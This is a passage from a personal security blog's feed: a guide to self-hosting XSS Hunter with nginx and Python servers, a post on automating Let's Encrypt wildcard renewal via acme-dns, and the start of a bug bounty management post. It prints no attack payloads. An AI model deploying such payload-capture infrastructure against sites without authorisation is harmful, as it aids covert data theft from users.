   &gt; &lt;  \___ \\\\___ \  |  __  | | | | &apos;_ \| __/ _ \ &apos;__|
  / . \ ____) |___) | | |  | | |_| | | | | ||  __/ |   
 /_/ \_\_____/_____/  |_|  |_|\__,_|_| |_|\__\___|_|   


	                                           Setup Utility

	(1)
    What is the base domain name you will be using?
	(ex. localhost, www.example.com)
	Domain? mydomain.com
    
	Great! Now let&apos;s setup your Mailgun account to send XSS alerts to.

	(2)
	Enter your API key:
	(ex. key-8da843ff65205a61374b09b81ed0fa35)
	Mailgun API key: 92740xxxxxxxxxxxxxxxxxxxxxxxxxxx-65bxxx58-8ffxxxxx

	(3)
	What is your Mailgun domain?
	(ex. example.com)
	Mailgun domain: sandboxe6784d1f69d9486484bb8db10ab02380.mailgun.org

	(4)
    What email address is sending the payload fire emails?:
	(ex. no-reply@example.com)
	Sending email address: mailgun@sandboxe6784d1f69d9486484bb8db10ab02380.mailgun.org

	(5)
    Where should abuse/contact emails go?:
	(ex. yourpersonal@gmail.com)
	Abuse/Contact email: xsshunter@mydomain.com
	
    (6)
	What postgres user is this service using?
	(ex. xsshunter)
	Postgres username: xsshunter

	(7)
	What is the postgres user&apos;s password?
	(ex. @!$%@^%UOFGJOEJG$)
	Postgres password: [YOUR_REALLY_SECURE_PASSWORD]

	(8)
	What is the postgres user&apos;s DB?
	(ex. xsshunter)
	Postgres DB: xsshunter

	Generating cookie secret...
	Minting new nginx configuration file...

	Setup complete! Please now copy the &apos;default&apos; file to /etc/nginx/sites-enabled/default
	This can be done by running the following:
	sudo cp default /etc/nginx/sites-enabled/default

	Also, please ensure your wildcard SSL certificate and key are available at the following locations:
	/etc/nginx/ssl/mydomain.com.crt; # Wildcard SSL certificate
	/etc/nginx/ssl/mydomain.com.key; # Wildcard SSL key

	Good luck hunting for XSS!</code></pre><figcaption>Output of executing ./generate_config.py</figcaption></figure><!--kg-card-begin: markdown--><p>You should now have 2 new files in your xsshunter folder:</p>
<ul>
<li><code>config.yaml</code> (contains API keys and credentials)</li>
<li><code>default</code> (contains the nginx configuration)</li>
</ul>
<!--kg-card-end: markdown--><!--kg-card-begin: html--><br><!--kg-card-end: html--><!--kg-card-begin: markdown--><h3 id="nginxconfiguration">NGINX configuration</h3>
<hr>
<h4 id="changesslcertificatelocation">Change SSL Certificate location</h4>
<p>If you are also using Let&apos;s Encrypt, you will need to modify the <code>default</code> file.<br>
In order to make the config work with Let&apos;s Encrypt default settings, we have to comment out all occurrences of:</p>
<blockquote>
<p>/etc/nginx/ssl/mydomain.com.crt; # Wildcard SSL certificate<br>
/etc/nginx/ssl/mydomain.com.key; # Wildcard SSL key</p>
</blockquote>
<p>and replace it with</p>
<blockquote>
<p>ssl_certificate /etc/letsencrypt/live/mydomain.com-0001/fullchain.pem ; # managed by Certbot<br>
ssl_certificate_key /etc/letsencrypt/live/mydomain.com-0001/privkey.pem;  # managed by Certbot</p>
</blockquote>
<p><em>Notes</em></p>
<ol>
<li>replace <mark>mydomain.com</mark> with your domain name!</li>
<li>Everything after # is just for comments. You can remove them if you want.</li>
</ol>
<p>Your <code>default</code> file should look like the following now:</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-code-card"><pre><code class="language-nginx">server {
    # Redirect HTTP to www
    listen 80;
    server_name mydomain.com;
    location / {
        rewrite ^/(.*)$ https://www.mydomain.com/$1 permanent;
    }
}

server {
    # Redirect payloads to HTTPS
    listen 80;
    server_name *.mydomain.com;
    proxy_set_header X-Forwarded-For $remote_addr;

    return 307 https://$host$request_uri;
    client_max_body_size 500M; # In case we have an extra large payload capture
}

server {
    # Redirect HTTPS to www
    listen 443;
    ssl on;

    # New conf
    ssl_certificate /etc/letsencrypt/live/mydomain.com-0001/fullchain.pem; # managed by Certbot
    ssl_certificate_key /etc/letsencrypt/live/mydomain.com-0001/privkey.pem; # managed by Certbot

    # Original conf
    #ssl_certificate /etc/nginx/ssl/mydomain.com.crt; # Wildcard SSL certificate
    #ssl_certificate_key /etc/nginx/ssl/mydomain.com.key; # Wildcard SSL certificate key

    server_name mydomain.com;
    location / {
        rewrite ^/(.*)$ https://www.mydomain.com/$1 permanent;
    }
}

server {
    # API proxy
    listen 443;
    ssl on;

    # New conf
    ssl_certificate /etc/letsencrypt/live/mydomain.com-0001/fullchain.pem; # managed by Certbot
    ssl_certificate_key /etc/letsencrypt/live/mydomain.com-0001/privkey.pem; # managed by Certbot
    
    # Original conf
    #ssl_certificate /etc/nginx/ssl/mydomain.com.crt; # Wildcard SSL certificate
    #ssl_certificate_key /etc/nginx/ssl/mydomain.com.key; # Wildcard SSL certificate key

    server_name *.mydomain.com;
    access_log /var/log/nginx/mydomain.com.vhost.access.log;
    error_log /var/log/nginx/mydomain.com.vhost.error.log;

    client_max_body_size 500M;

    location / {
        proxy_pass  http://localhost:8888;
        proxy_set_header Host $host;
        proxy_set_header X-Forwarded-For $remote_addr;
    }
}

server {
    # Redirect api to HTTPS
    listen 80;
    server_name api.mydomain.com; # Subdomain for API server
    proxy_set_header X-Forwarded-For $remote_addr;

    return 307 https://api.mydomain.com$request_uri;
    client_max_body_size 500M; # In case we have an extra large payload capture
}

server {
   # Redirect www to HTTPS
   listen 80;
   server_name www.mydomain.com;
   location / {
       rewrite ^/(.*)$ https://www.mydomain.com/$1 permanent;
   }
}

server {
   # GUI proxy
   listen 443;
   server_name www.mydomain.com;
   client_max_body_size 500M;
   ssl on;

   # New conf
   ssl_certificate /etc/letsencrypt/live/mydomain.com-0001/fullchain.pem; # managed by Certbot
   ssl_certificate_key /etc/letsencrypt/live/mydomain.com-0001/privkey.pem; # managed by Certbot
   
   # Original conf
   #ssl_certificate /etc/nginx/ssl/mydomain.com.crt; # Wildcard SSL certificate
   #ssl_certificate_key /etc/nginx/ssl/mydomain.com.key; # Wildcard SSL certificate key


   location / {
       proxy_pass  http://localhost:1234;
       proxy_set_header Host $host;
   }
}</code></pre><figcaption>Our default-file after changing the certificate &amp; key location</figcaption></figure><!--kg-card-begin: markdown--><h4 id="enablenginxconfig">Enable NGINX config</h4>
<p>The next step is to move the file into the nginx folder. It is considered good practice to have config files in <code>.../sites-available</code> and then symlink the configurations you are using to <code>.../sites-enabled</code>, so that is what we will do.<br>
I also like naming the configuration file so I know what service it belongs to.</p>
<p>Following is how to do it!</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-code-card"><pre><code class="language-bash"># move file and give proper name
cp xsshunter/default /etc/nginx/sites-available/xsshunter-mydomain.com

# symlink the file to sites-enabled to make it active
ln -s /etc/nginx/sites-available/xsshunter-mydomain.com /etc/nginx/sites-enabled/xsshunter-mydomain.com

# test for errors in the configuration
sudo nginx -t

# if no errors, restart nginx for changes to take effect
sudo systemctl restart nginx</code></pre><figcaption>Enabling the NGINX config</figcaption></figure><!--kg-card-begin: markdown--><blockquote>
<p>If you have never ran nginx before, the last command should be the following instead:<br>
<code>sudo systemctl start nginx</code></p>
</blockquote>
<h2 id="installingtheapiserver">Installing the API server</h2>
<p>First, the API server needs certain dependencies as well.<br>
The guide said to run the following command:</p>
<blockquote>
<p><code>sudo apt-get install python-virtualenv python-dev libpq-dev libffi-dev</code></p>
</blockquote>
<p><strong>Please execute it.</strong></p>
<p>Unfortunately, that did not allow me to run the <code>virtualenv</code> command, so I installed it using the following command:</p>
<blockquote>
<p><code>pip install virtualenv</code></p>
</blockquote>
<p>That resolved the issue and allowed me to continue.<br>
Let&apos;s proceed by moving into the right directory.<br>
Once in the right directory, we need to create our virtual environment.<br>
Here is how to do so:</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-code-card"><pre><code class="language-bash"># change folder - you know that already!
cd xsshunter/api

# find your Python2 executable path
which python2

# create a python2 virtual environment in the env folder
virtualenv -p MY/EXECUTABLE/PATH env</code></pre><figcaption>Change to /api folder and create virtual environment</figcaption></figure><!--kg-card-begin: markdown--><blockquote>
<p>Please make sure that you change <mark>MY/EXECUTABLE/PATH</mark> in the last command to whatever the output of the <code>which python2</code> was. For me it was <code>/usr/bin/python2</code>.</p>
</blockquote>
<p>After we have made the virtual environment, activate it by using the following command. You should see your command line change.</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-code-card"><pre><code class="language-bash"># activate environment
. env/bin/activate</code></pre><figcaption>Activate virtual environment</figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.robinlunde.com/blog/content/images/2020/04/virtualenv.png" class="kg-image" alt="Installing XSS Hunter" loading="lazy"><figcaption>The terminal indicates the virtual environment by adding (env)</figcaption></figure><!--kg-card-begin: markdown--><p>There are also some dependency issues since the repository is not actively maintained.<br>
As such, we have to make the following changes in <code>requirements.txt</code>:</p>
<ol>
<li><code>psycopg2==2.6.1</code> =&gt; <code>psycopg2==2.7.3.1</code></li>
<li><code>bcrypt==2.0.0</code> =&gt; <code>bcrypt==3.1.7</code></li>
</ol>
<p>Use your favorite text editor to achieve the above. I use VIM.<br>
Once that is done, it is time to install all dependencies and run the API server to make sure everything is working as expected. Let us try!</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-code-card"><pre><code class="language-bash"># install requirements
pip install -r requirements.txt

# run the API server
./apiserver.py</code></pre><figcaption>Install requirements and run server</figcaption></figure><!--kg-card-begin: markdown--><p>The install command should print some data. The api-server should not output anything. No output is good news!</p>
<p>We want to make one more change before we have finished setting up the api server. Originally it listens on interface <code>0.0.0.0</code> but we are proxying through NGINX, meaning there is no point in doing so. We will change it to listen on <code>localhost</code> instead. This avoids confusion and any potential issues.</p>
<p>Using a text editor, change <mark>line 684</mark> in <code>apiserver.py</code> from<br>
<code>app.listen( 8888 )</code> to <code>app.listen( 8888, &quot;localhost&quot; )</code></p>
<p><em>Thanks to <a href="https://github.com/swarley7">swarley7</a>, for sharing this in <a href="https://github.com/mandatoryprogrammer/xsshunter/pull/20">this pull request</a></em></p>
<p>Finally: There is a bug where uploads does not work properly, if the /uploads folder does not exists. It is shared by <a href="https://github.com/sampsonc">sampsonc</a> in <a href="https://github.com/mandatoryprogrammer/xsshunter/pull/10">this pull request</a>.<br>
Let us create the folder, then move on!</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-code-card"><pre><code class="language-bash"># create uploads folder
mkdir xsshunter/api/uploads</code></pre><figcaption>Create uploads folder to avoid errors when storing screenshots</figcaption></figure><!--kg-card-begin: markdown--><h2 id="installingtheguiserver">Installing the GUI server</h2>
<p>This process is very similar to that of the api server, just easier.</p>
<p>We change into the gui folder, create a virtual environment, activate it, and install the requirements.</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-code-card"><pre><code class="language-bash"># change folder - you know that already!
cd xsshunter/gui

# find your Python2 executable path
which python2

# create a python2 virtual environment in the env folder
virtualenv -p MY/EXECUTABLE/PATH env

# activate environment
. env/bin/activate

# install requirements
pip install -r requirements.txt

# run the GUI server
./guiserver.py</code></pre><figcaption>Install and run the GUI server</figcaption></figure><!--kg-card-begin: markdown--><p>Again, the same as when installing the API server:</p>
<blockquote>
<p>Please make sure that you change <mark>MY/EXECUTABLE/PATH</mark> in the last command to whatever the output of the <code>which python2</code> was. For me it was <code>/usr/bin/python2</code></p>
</blockquote>
<p>Here too, no output when running <code>./guiserver</code> is good news.</p>
<p><br>
Also, similarly to the API server we want to proxy all connections through NGINX, so there is no need for the server to listen on the <code>0.0.0.0</code> interface.</p>
<p>Using a text editor, change <mark>line 70</mark> in <code>guiserver.py</code> from<br>
<code>app.listen( 1234 )</code> to <code>app.listen( 1234, &quot;localhost&quot; )</code></p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h2 id="finaltouches">Final touches</h2>
<p>The first step is to run both servers. The original blog post suggest using tmux. It is not ideal for production, but hey, we&apos;re hackers so let&apos;s do it anyways ! If you want a more stable service, I will leave it as an exercise for you.</p>
<p>Here is how to run it using tmux. If you need some help, <a href="https://tmuxcheatsheet.com/">this is a really good cheatsheet!</a></p>
<!--kg-card-end: markdown--><figure class="kg-card kg-code-card"><pre><code class="language-bash"># start a session
tmux session -new xsshunter

# change to api directory
cd xsshunter/api

#run api server
./apiserver

# open new pane
[ctrl]+[b] -&gt; [c]

# change to gui directory
cd xsshunter/gui

# run gui server
./guiserver

# detach from session
[ctrl]+[b] -&gt; [d]

# extra: if you want to open the session again
tmux attach-session -t xsshunter</code></pre><figcaption>Run the server in tmux</figcaption></figure><!--kg-card-begin: markdown--><p>Only one thing left to do</p>
<h4 id="accessyourdomainandseeifyouaregreetedwiththexsshunterpage">Access your domain and see if you are greeted with the xsshunter page!</h4>
<p>It should look just like the front page of <a href="https://xsshunter.com/">xsshunter.com</a></p>
<p>You did it?</p>
<h2 id="congratulations">Congratulations!</h2>
<p>Time to celebrate with a beer!<br>
<img src="https://i.imgur.com/Un96YhI.gif" alt="Installing XSS Hunter" loading="lazy"><br>
<em>If you haven&apos;t watched Entourage yet, do yourself a favor and celebrate your success by starting now!</em></p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h3 id="finalnote">Final note</h3>
<p>I don&apos;t like running things as root / normal users, so in order to run this as www-data I made the following script to make running it a little easier.<br>
Replace <code>apiserver.py</code> with <code>guiserver.py</code> to have one for each server. Feel free to use it!</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-code-card"><pre><code class="language-bash">#!/bin/sh
. env/bin/activate &amp;&amp; python apiserver.py</code></pre><figcaption>Shell script for using the virtual environment and running the API server</figcaption></figure><figure class="kg-card kg-code-card"><pre><code class="language-bash"># execute script above as www-data user
sudo -u www-data ./run.sh</code></pre><figcaption>Run script as www-data for security reasons</figcaption></figure><!--kg-card-begin: markdown--><h1 id="done">DONE!</h1>
<p>Thank you for reading, I hope this was helpful!</p>
<p>As always, have a puppy picture for your effort!<br>
Until next time!</p>
<p>Cheers!</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.robinlunde.com/blog/content/images/2020/04/processed-1.jpeg" class="kg-image" alt="Installing XSS Hunter" loading="lazy"><figcaption>I sleps!&#xA0;</figcaption></figure>]]></content:encoded></item><item><title><![CDATA[Automatically renew Let's Encrypt Wildcard Certificates]]></title><description><![CDATA[Short troubleshooting for automatic renewal of wildcard certificates for Namecheap domain]]></description><link>https://www.robinlunde.com/blog/automatically-renew-lets-encrypt-wildcard-certificates/</link><guid isPermaLink="false">5ea43829429be25278c554b8</guid><category><![CDATA[Computer Securtiy]]></category><dc:creator><![CDATA[Robin Lunde]]></dc:creator><pubDate>Sat, 25 Apr 2020 13:44:19 GMT</pubDate><media:content url="https://images.unsplash.com/photo-1554098415-788601c80aef?ixlib=rb-1.2.1&amp;q=80&amp;fm=jpg&amp;crop=entropy&amp;cs=tinysrgb&amp;w=2000&amp;fit=max&amp;ixid=eyJhcHBfaWQiOjExNzczfQ" medium="image"/><content:encoded><![CDATA[<img src="https://images.unsplash.com/photo-1554098415-788601c80aef?ixlib=rb-1.2.1&amp;q=80&amp;fm=jpg&amp;crop=entropy&amp;cs=tinysrgb&amp;w=2000&amp;fit=max&amp;ixid=eyJhcHBfaWQiOjExNzczfQ" alt="Automatically renew Let&apos;s Encrypt Wildcard Certificates"><p></p><p>Hey again!</p><p>This will be a short post just troubleshooting issues from another guide.</p><p>There are many different services that automate this process, but unfortunately Namecheap does not support any such automation. As such, some hacky solutions are required.</p><p>Before I begin, thanks to the creator of the blog post, Bryan C. Roessler &amp; the creator of <a href="https://github.com/joohoi/acme-dns">acme-dns</a>, Joona Hoikkala!</p><p>I won&apos;t go into too much details, as everything except a few core pieces are very well explained <em><a href="https://blog.bryanroessler.com/2019-02-09-automatic-certbot-namecheap-acme-dns/"><em><strong>here</strong></em><strong>!</strong></a></em></p><p>So, what can possibly go wrong following the guide above?</p><p>My issue was that <em>systemd-resolved</em> was already running on port 53.</p><p>The following had little effect:</p><ul><li>Disabling the service - This lead to DNS resolution failing. Not very surprising.</li><li>Changing <em>systemd-resolved</em> to utilize 127.0.0.1 for DNS lookups. I tried many ways, but primarily through resolv.conf / resolved.conf. I restarted services and tried various way to get DNS to be resolved through ACME-DNS, just for the purpose of automatically renewing the certs.</li></ul><p>I started troubleshooting according to the github page.</p><p>Running everything manually quickly showed <em>:53</em> could not be bound to localhost, or 0.0.0.0. (like I did not already know this at that point)</p><p>I disabled <em>systemd-resolved </em>and followed <strong><a href="https://github.com/joohoi/acme-dns#testing-it-out">these steps</a></strong> to check if there was any issues with the service itself. Everything worked as expected.</p><p>Being frustrated and angry at spending 4 hours trying to set up automation that should be simple, I decided to try to just bind the server to my public IP.</p><p>Surprisingly though, <strong>it worked wonders! </strong>Out of the blue, everything worked as expected.</p><p>That means, in order for the service to run properly as indicated in the <a href="https://blog.bryanroessler.com/2019-02-09-automatic-certbot-namecheap-acme-dns/"><strong>guide linked above</strong>,</a> change the acme-dns configuration file from:</p><blockquote>listen = &quot;:53&quot;</blockquote><p>to</p><blockquote>listen = &quot;&lt;PUBLIC_IP_HERE&gt;:53&quot;</blockquote><!--kg-card-begin: markdown--><p>See below for a complete example of the file. As mentioned in the original post, remember to change <mark>&lt;yoursite.org&gt;</mark> to whatever you domain name is and <mark>&lt;your_IP&gt;</mark> to whatever public IP your machine has.</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-code-card"><pre><code>[general]
# DNS interface - CHANGES BELOW!
listen = &quot;&lt;PUBLIC_IP_HERE&gt;:53&quot;
protocol = &quot;udp&quot;
# domain name to serve the requests off of
domain = &quot;acme.&lt;yoursite.org&gt;&quot;
# zone name server
nsname = &quot;ns1.acme.&lt;yoursite.org&gt;&quot;
# admin email address, where @ is substituted with .
nsadmin = &quot;admin.&lt;yoursite.org&gt;&quot;
# predefined records served in addition to the TXT
records = [
    &quot;acme.&lt;yoursite.org&gt;. A &lt;your_IP&gt;&quot;,
    &quot;ns1.acme.&lt;yoursite.org&gt;. A &lt;your_IP&gt;&quot;,
    &quot;acme.&lt;yoursite.org&gt;. NS ns1.acme.&lt;yoursite.org&gt;.&quot;,
]
debug = false

[database]
engine = &quot;sqlite3&quot;
connection = &quot;/var/lib/acme-dns/acme-dns.db&quot;

[api]
api_domain = &quot;&quot;
ip = &quot;127.0.0.1&quot;
disable_registration = false
autocert_port = &quot;80&quot;
port = &quot;8081&quot;
tls = &quot;none&quot;
corsorigins = [
    &quot;*&quot;
]
use_header = false
header_name = &quot;X-Forwarded-For&quot;

[logconfig]
loglevel = &quot;debug&quot;
logtype = &quot;stdout&quot;
logformat = &quot;text&quot;</code></pre><figcaption>#/etc/acme-dns/config.cfg</figcaption></figure><p>After which all was good in the world.</p><p>As a bonus, I also threw together a very short bash script, to enable the service and open ports only while renewing the certificate. Nothing fancy, but makes it a little safer.</p><p>Shell script is as follows, and installed as a cronjob. I am sure there is a better way to implement this, but hey, it works!</p><figure class="kg-card kg-code-card"><pre><code class="language-bash">#!/bin/bash

checkstatus() {
        if [[ $1 != 0 ]]; then
                echo &quot;$(date) - Command $2 did not complete successfully!&quot; &gt;&gt; /var/log/cert_renew.log
        fi
}

sudo ufw allow 53/udp &amp;&amp; sudo ufw reload
checkstatus $? &quot;UFW allow &amp; restart&quot;
sleep 2
sudo systemctl start acme-dns.service
checkstatus $? &quot;Start acme-dns&quot;
sleep 5

/usr/bin/certbot renew --post-hook &quot;systemctl reload nginx&quot; &gt;&gt; /var/log/letsencrypt/renew.log
checkstatus $? &quot;certbot renew - check /var/log/letsencrypt/renew.log&quot;

sleep 5
sudo systemctl stop acme-dns.service
checkstatus $? &quot;Stop acme-dns&quot;
sudo ufw delete allow 53/udp &amp;&amp; sudo ufw reload
checkstatus $? &quot;UFW delete &amp; restart&quot;</code></pre><figcaption>renew.sh</figcaption></figure><p>Also gives a nice little log in case something goes wrong.</p><p>Hope this short write-up helped, in case you ran into similar issues.</p><p></p><p>Until next time,</p><p>Cheers!</p>]]></content:encoded></item><item><title><![CDATA[Bug Bounty program Management: A different perspective]]></title><description><![CDATA[A non-technical overview on what to consider when running a Bug Bounty program]]></description><link>https://www.robinlunde.com/blog/bug-bounty-program-management-a-different-view/</link><guid isPermaLink="false">5e9d2506429be25278c54d30</guid><category><![CDATA[Computer Securtiy]]></category><dc:creator><![CDATA[Robin Lunde]]></dc:creator><pubDate>Tue, 21 Apr 2020 14:27:06 GMT</pubDate><media:content url="https://www.robinlunde.com/blog/content/images/2020/05/photo-1531416062945-748bb07c3514-1-1-.jpeg" medium="image"/><content:encoded><![CDATA[<img src="https://www.robinlunde.com/blog/content/images/2020/05/photo-1531416062945-748bb07c3514-1-1-.jpeg" alt="Bug Bounty program Management: A different perspective"><p>In this post I want to share my thoughts about how to run a bug bounty program from a non-technical perspective. There are many resources out there for a more technical approach, so I wanted to offer a different view. If you want to dive into the technical details as well, check out the resources at the bottom of the article.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.robinlunde.com/blog/content/images/2020/04/photo-1531416062945-748bb07c3514-1.jpeg" class="kg-image" alt="Bug Bounty program Management: A different perspective" loading="lazy"><figcaption>Perspective is important!</figcaption></figure><hr><h2 id="content">Content</h2><!--kg-card-begin: html--><br>
<ol class="order">
    <li class="list"><a href="#internal">Internal Organization</a>
    	<ol class="order" style="margin: 0 0 0.5em;">
            <li class="list"><a href="#management">Management</a></li>
            <li class="list"><a href="#organization">Organization</a></li>
        </ol>
    </li>
    <li class="list"> <a href="#external"> External interactions</a>
    	<ol class="order">
            <li class="list"><a href="#reporting">Reporting</a></li>
            <li class="list"><a href="#communication">Communication</a></li>
            <li class="list"><a href="#cooperation">Cooperation</a></li>
        </ol>
    </li>
</ol><!--kg-card-end: html--><hr><!--kg-card-begin: html--><div id="internal"></div><!--kg-card-end: html--><h2 id="1-internal-considerations">1. Internal Considerations</h2><p>There is little point in having a program, if you cannot deal with the issues that you receive! The basis of a good program is having a good team.</p><!--kg-card-begin: html--><br>
<h4 id="management">1.1 Management</h4>
<br><!--kg-card-end: html--><!--kg-card-begin: markdown--><p>To run a program well, you also need to manage the internal team well. There are a few core focus areas that are especially important for achieving this.</p>
<p><br>
The first is to <strong>have activities scheduled</strong>. Running a program is by nature variable, the flow of reports is always changing.  As such the engineers need to have tasks ready in the case that there is downtime.<br>
Examples for activities are:</p>
<ul>
<li>Testing internal systems</li>
<li>Documenting previous cases</li>
<li>Performing root cause analysis of received issues</li>
</ul>
<p><em>The same is true for the opposite!</em> You need to have a plan ready for how to handle a sudden flood of reports. I also want to point out that you should still have dedicated team members, even though there may be downtime. This is to ensure that lower impact reports also get processed in a timely manner. Not having a dedicated team can lead to long handling times for low impact issues due to other tasks having higher priority.</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.robinlunde.com/blog/content/images/2020/04/get-aligned-or-get-left-behind-funnel-2013-3-638-1-.jpg" class="kg-image" alt="Bug Bounty program Management: A different perspective" loading="lazy"><figcaption>Dwight D. Eisenhower</figcaption></figure><!--kg-card-begin: markdown--><p>The second is <strong>have clear role assignment</strong>. It is easy to have all engineers jump on exciting tasks with nobody picking up more trivial reports. Having members be in charge of reports and following them up is critical to run an efficient team. It also helps with making sure reports get resolved. It avoids everyone focusing on a single issue. That member also knows how the exploit worked, so they can confirm that the issue is properly resolved.</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="https://www.robinlunde.com/blog/content/images/2020/04/3xdm3y-1-.jpg" class="kg-image" alt="Bug Bounty program Management: A different perspective" loading="lazy"></figure><!--kg-card-begin: markdown--><p><br>
Finally, <strong>having a set format for reporting issues</strong> is critical to  communicate well with developers.  The impact and time to resolution for the given issue needs to be clearly stated. This reduces friction and results in everyone being on the same page.<br>
<em>All parties involved know what to expect!</em><br>
This allows for a smooth escalation of both critical and minor issues. It also avoids confusion or placing blame which can happen in high pressure situations.</p>
<!--kg-card-end: markdown--><!--kg-card-begin: html--><br>
<h4 id="organization">1.2 Organization</h4>
<br><!--kg-card-end: html--><!--kg-card-begin: markdown--><p>It is also important for the team to be organized well. It allows for rapid responses and sets the team up for success. As mentioned above, there will be both downtime and busy periods, so the team needs to be flexible.</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="https://www.robinlunde.com/blog/content/images/2020/04/image-4.png" class="kg-image" alt="Bug Bounty program Management: A different perspective" loading="lazy"></figure><!--kg-card-begin: markdown--><p><strong>The team should have tasks that do not have strict deadlines</strong> and can be paused while triaging reports. Penetration testing internal tools and services is a good example of this type of tasks. The risk is low since only employees have access. It usually requires local network access, which further reduces risk. It is an important aspect of defense-in-depth though, and should not be neglected. Another task that is well suited is doing risk assessments for low priority services.</p>
<p>The skillset and tools required to do well in bug bounty resembles those of an internal red team. The types of work are also compatible, since internal red teams rarely have urgent tasks. They also work with the CSIRT team regularly, reducing friction when having to do incident response for a report.</p>
<p><strong>What can be automated, should be automated!</strong><br>
Applying automation to the following actions is a must for smooth operations:</p>
<ul>
<li>Ticket creation</li>
<li>Member assignment</li>
<li>Ticket status updates</li>
</ul>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.robinlunde.com/blog/content/images/2020/04/Woman-Multitasker-Stressed-300x300-1-.jpg" class="kg-image" alt="Bug Bounty program Management: A different perspective" loading="lazy"><figcaption>What it feels like without proper automation</figcaption></figure><!--kg-card-begin: markdown--><p>Automation also removes the chance of human error occuring. The more human interactions, the higher the chance of a mistake.<br>
Therefore human input should be kept at at minimum, especially for processes dealing with sensitive data.<br>
An example flow is as follows:<br>
<code>Receive human input</code> -&gt; <code>Double check</code> (<em>verify / reject only</em>) -&gt; <code>Output</code><br>
A perfect illustration of where to apply this is for bounty payouts. The application can be as follows:<br>
<em>Team member A</em> <code>inputs bounty</code> -&gt; <em>Team member B</em> <code>confirms sum</code> -&gt; <code>Bounty is paid</code></p>
<p><em>Manual work is the killer of motivation, efficiency and robustness.</em> You should strive towards having a system where the team can focus on the following tasks:</p>
<ol>
<li>Triaging the report</li>
<li>Verifying the fix</li>
<li>Communicating with the reporter</li>
<li>Deciding the bounty</li>
</ol>
<p>Tasks that are unrelated to engineering should be kept to a minimum. Here are a few examples:<br>
<code>Identifying which department is in charge of a service</code><br>
<code>Identifying which part of the code is vulnerable</code><br>
<code>Preparing the paperwork for paying out bounties</code></p>
<p>These tasks are menial and you can easily automate them at scale.</p>
<blockquote>
<p>If you are considering starting a program you should set up this automation before receiving your first report!</p>
</blockquote>
<!--kg-card-end: markdown--><p></p><hr><!--kg-card-begin: html--><div id="external"></div><!--kg-card-end: html--><h2 id="2-external-interactions">2. External interactions</h2><p>What is shared externally defines how your program is perceived. &#xA0;It is hard to decide on bounty ranges and scope. Yet it pales in comparison to communicating well with reporters.</p><!--kg-card-begin: html--><br>
<h4 id="reporting">2.1 Reporting</h4>
<br><!--kg-card-end: html--><!--kg-card-begin: markdown--><p>The communication naturally starts when you get a report. Being pre-emptive and telling the reporters what you want to know and how you want it to look is extremely helpful.</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.robinlunde.com/blog/content/images/2020/04/image-1.png" class="kg-image" alt="Bug Bounty program Management: A different perspective" loading="lazy"><figcaption>Understanding the report can often be more difficult than fixing the bug itself!</figcaption></figure><!--kg-card-begin: markdown--><p><br>
Knowing what to expect from the content of a report reduces the frustration for the team receiving the report. All triagers have received a report where the content is all mixed up, making it hard to understand the issue. A good format also makes it easier to understand the content at a glance. This sets you up to succeed. The team is happy and the chance of the report being resolved fast increases.</p>
<p><br>
<strong>A good template can be found <mark><a href="https://bugbountyguide.com/hunters/writing-reports.html">here</a></mark></strong></p>
<!--kg-card-end: markdown--><!--kg-card-begin: html--><p style="margin: 0 0 0;">I prefer this format:
<ul style="margin: 0 0 0;">
	<li style="margin: 0 0 0;">Overview</li>
    <ul style="margin: 0 0 0; list-style: circle;">
        <li style="margin: 0 0 0;">Summary</li>
        <li style="margin: 0 0 0;">Impact</li>
    </ul>
	<li style="margin: 0 0 0;">Details</li>
    <li style="margin: 0 0 0;">PoC</li>
    <li style="margin: 0 0 0;">Mitigation / Prevention</li>
    <li style="margin: 0 0 0;">Testing Environment</li>
</ul>
</p><!--kg-card-end: html--><!--kg-card-begin: markdown--><p>In the <em>Testing Environment</em> section you should add:<br>
<code>Special headers</code>, <code>User Agent</code>, <code>IP address</code>, <code>App version</code>, etc.<br>
This makes it easier for the triaging team to identify your testing when checking logs.</p>
<!--kg-card-end: markdown--><!--kg-card-begin: html--><br>
<h4 id="communication">2.2 Communication</h4>
<br><!--kg-card-end: html--><!--kg-card-begin: markdown--><p>First of all, <strong>respond</strong>!<br>
Being ghosted sucks. Keeping hackers up to date is important, but time consuming. Rather than trying to treat the conversation as a casual chat, <strong>set expectations and follow through on the promises you make.</strong><br>
Tell them when you will get back to them. If they don&apos;t hear back by then, they will remind you. If reporters nag about the status of reports, you are likely not setting expectations properly. It can be annoying, but understand it is likely due to giving vague replies and not following up properly.</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.robinlunde.com/blog/content/images/2020/04/image-2.png" class="kg-image" alt="Bug Bounty program Management: A different perspective" loading="lazy"><figcaption>This is what you want every hacker to think!</figcaption></figure><!--kg-card-begin: markdown--><p><br>
Furthermore, <em>setting expectations and not following through is the same as not replying.</em> If you say you will get back to the reporter this week, you have to reply this week! You don&apos;t have to resolve the issue, but at least give a simple update. Even if you have no new information, let the reporters know they haven&apos;t been forgotten.</p>
<p><br>
There are also 3 core principles I like to use when communicating with reporters <em>(and triagers)</em>:</p>
<ol>
<li>Be kind</li>
<li>Be polite</li>
<li>Be firm</li>
</ol>
<p><strong>Give people the benefit of the doubt!</strong> If you are angry or frustrated, let someone else handle the report or do it once you&apos;ve calmed down. Treat people with respect.</p>
